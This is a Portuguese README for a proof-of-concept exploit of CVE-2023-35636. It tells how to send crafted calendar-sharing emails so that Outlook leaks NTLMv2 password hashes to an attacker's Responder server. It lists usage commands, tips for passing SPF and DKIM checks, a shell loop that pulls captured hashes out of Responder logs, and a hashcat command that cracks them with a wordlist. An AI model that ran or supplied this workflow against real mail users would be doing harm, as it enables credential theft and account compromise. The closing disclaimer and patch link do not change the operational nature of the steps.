CVE-2023-35636

Vulnerabilidade de Divulgação de Informações do Microsoft Outlook (vazamento de hash de senha) - Script POC Expect

CVE-2023-35636 é um exploit da função de compartilhamento de calendário do Microsoft Outlook, onde a adição de dois cabeçalhos a um e-mail faz com que o Outlook compartilhe conteúdo e entre em contato com uma máquina designada, criando uma oportunidade para interceptar um hash NTLM v2.

• Execute um responder com servidor SMB ativo

• Envie um e-mail e aguarde (o firewall do destinatário do e-mail deve permitir tráfego SMB (445))

usage: ./cve-2023-35636.sh mx.fqdn port email_sender email_recipient smb_share

./cve-2023-35636.sh mail.mydomain.com 25 [email protected] [email protected] \\\\x.x.x.x\\mycalendar.ics (dont forget all the \)

notas: chmod +x cve-2023-35636.sh

requer o aplicativo expect

requer um IP de remetente legítimo e um endereço de e-mail de remetente legítimo (para passar SPF, DKIM, DMARC)

• Se o usuário destinatário clicar no pequeno ícone de calendário... BOOM, o IP/usuário (texto claro) e o hash da senha (NTLM-v2-SSP) são enviados para o IP do seu responder

• Você pode então tentar quebrar a senha com hashcat/john the ripper

for user in strings Responder-Session.log | grep "NTLMv2-SSP Hash" | cut -d ":" -f 4-6 | sort -u -f | awk '{$1=$1};1'

do

echo "[*] search for: $user";

strings Responder-Session.log | grep "NTLMv2-SSP Hash" | grep -i $user | cut -d ":" -f 4-10 | head -n 1 | awk '{$1=$1};1' >> ntlm-hashes.txt

done

hashcat -a 0 -m 5600 ntlm-hashes.txt rockyou.txt -o cracked.txt -O

---

Créditos: https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes

Solução Alternativa/Correção: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35636

---

mais sobre mim ;) https://www.linkedin.com/in/duy-huan-bui/

⚠️ Aviso: IMPORTANTE: Este script é fornecido apenas para uso educacional, testes éticos e legais. Não o utilize em nenhum sistema ou rede sem permissão explícita. O acesso não autorizado a sistemas de computador e redes é ilegal, e usuários flagrados realizando atividades não autorizadas estão sujeitos a ações legais. O autor NÃO é responsável por qualquer dano causado pelo uso indevido deste script.